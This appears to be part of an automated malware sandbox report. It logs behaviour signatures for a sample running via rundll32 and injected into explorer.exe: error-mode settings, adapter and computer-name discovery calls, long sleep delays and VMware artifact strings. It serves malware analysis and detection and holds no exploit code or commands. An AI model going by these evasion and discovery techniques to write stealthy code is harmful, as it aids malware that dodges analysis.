Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	22_2_013A5904
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,wsprintfA,wsprintfA,wsprintfA,GetComputerNameExA,wsprintfA,GetComputerNameExA,wsprintfA,	22_2_013A6984
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,	22_2_013ADDF8

Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 5001	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 4879	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 468	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 8936	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 694	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 672	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

API coverage: 2.5 %

Source: C:\Windows\System32\loaddll64.exe TID: 6660	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7324	Thread sleep count: 5001 > 30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7324	Thread sleep time: -300060000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7324	Thread sleep count: 4879 > 30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7324	Thread sleep time: -292740000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7704	Thread sleep time: -224000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7728	Thread sleep time: -46800s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7704	Thread sleep time: -8936000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800192B8 FindFirstFileExW,	6_2_00000001800192B8
Source: C:\Windows\explorer.exe	Code function: 22_2_013A8BA8 FindFirstFileW,FindNextFileW,LoadLibraryW,	22_2_013A8BA8
Source: C:\Windows\explorer.exe	Code function: 22_2_013A1A08 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	22_2_013A1A08
Source: C:\Windows\explorer.exe	Code function: 22_2_013ADCE0 FindFirstFileW,	22_2_013ADCE0

Source: C:\Windows\System32\loaddll64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 60000	Jump to behavior

Source: explorer.exe, 00000016.00000000.1849178409.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: VMware
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual USB Mouse
Source: explorer.exe, 00000016.00000000.1844548016.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.9.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
